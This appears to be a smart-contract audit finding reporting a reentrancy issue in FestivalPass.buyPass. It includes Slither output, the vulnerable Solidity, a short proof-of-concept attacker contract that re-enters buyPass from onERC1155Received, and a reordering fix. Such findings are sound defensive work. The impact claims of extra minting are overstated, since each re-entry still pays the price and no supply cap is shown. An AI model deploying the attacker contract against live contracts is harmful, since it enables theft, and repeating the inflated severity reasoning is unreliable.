Root + Impact
Description
In FestivalPass.buyPass(uint256), the _mint external call (an interaction that can trigger re-entrant callbacks in the recipient contract) occurs before the contract's internal state variable passSupply[collectionId] is incremented (an effect). This violates the CEI pattern, creating a reentrancy vulnerability that a malicious actor could exploit to mint additional passes or disrupt the passSupply count.
SLITHER OUTPUT:
## reentrancy-no-eth Impact: Medium
Confidence: Medium - [ ] ID-6
Reentrancy in [FestivalPass.buyPass(uint256)](src/FestivalPass.sol#L69-L85):
External calls:
- [_mint(msg.sender,collectionId,1,)](src/FestivalPass.sol#L76) - [response = IERC1155Receiver(to).onERC1155Received(operator,from,id,value,data)](lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Utils.sol#L34-L48)
- [response = IERC1155Receiver(to).onERC1155BatchReceived(operator,from,ids,values,data)](lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Utils.sol#L69-L85) - [ERC1155Utils.checkOnERC1155Received(operator,from,to,id,value,data)](lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol#L194)
- [ERC1155Utils.checkOnERC1155BatchReceived(operator,from,to,ids,values,data)](lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol#L196)
State variables written after the call(s):
- [++ passSupply[collectionId]](src/FestivalPass.sol#L77)
[FestivalPass.passSupply](src/FestivalPass.sol#L23) can be used in cross function reentrancies:
- [FestivalPass.buyPass(uint256)](src/FestivalPass.sol#L69-L85) - [FestivalPass.configurePass(uint256,uint256,uint256)](src/FestivalPass.sol#L54-L66) - [FestivalPass.passSupply](src/FestivalPass.sol#L23)
src/FestivalPass.sol#L69-L85
function buyPass(uint256 collectionId) public payable {
require(msg.value == 0, "No ETH accepted, use BEAT token to buy passes.");
uint256 price = collectionPrices[collectionId];
require(
IERC20(beatToken).transferFrom(msg.sender, address(this), price),
"BEAT token transfer failed"
);
_mint(msg.sender, collectionId, 1, "");
emit PassPurchased(msg.sender, collectionId, 1);
++passSupply[collectionId];
}
Risk
Likelihood:
Impact:
-
Incorrect passSupply: The passSupply[collectionId] could become inconsistent, leading to a state where the recorded supply does not match the actual number of passes minted.
-
Unauthorized Minting: A malicious user could potentially mint more passes than intended or allowed by the contract's design, leading to over-issuance of tokens.
Proof of Concept
contract MaliciousERC1155Receiver {
FestivalPass public festivalPass;
uint256 public targetCollectionId;
uint256 public reentrancyCount = 0;
constructor(address _festivalPassAddress) {
festivalPass = FestivalPass(_festivalPassAddress);
}
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4) {
if (id == targetCollectionId && reentrancyCount == 0) {
reentrancyCount++;
festivalPass.buyPass(targetCollectionId);
}
return this.onERC1155Received.selector;
}
function attack(uint256 _collectionId) public {
targetCollectionId = _collectionId;
festivalPass.buyPass(_collectionId);
}
}
Recommended Mitigation
- remove this code
+ add this code
@@ -74,9 +74,9 @@
IERC20(beatToken).transferFrom(msg.sender, address(this), price),
"BEAT token transfer failed"
);
- _mint(msg.sender, collectionId, 1, "");
- emit PassPurchased(msg.sender, collectionId, 1);
- ++passSupply[collectionId];
+ ++passSupply[collectionId]; // @> Move state update before external call
+ _mint(msg.sender, collectionId, 1, ""); // @> Perform external call after state update
+ emit PassPurchased(msg.sender, collectionId, 1); // @> Emit event after all effects and external calls
}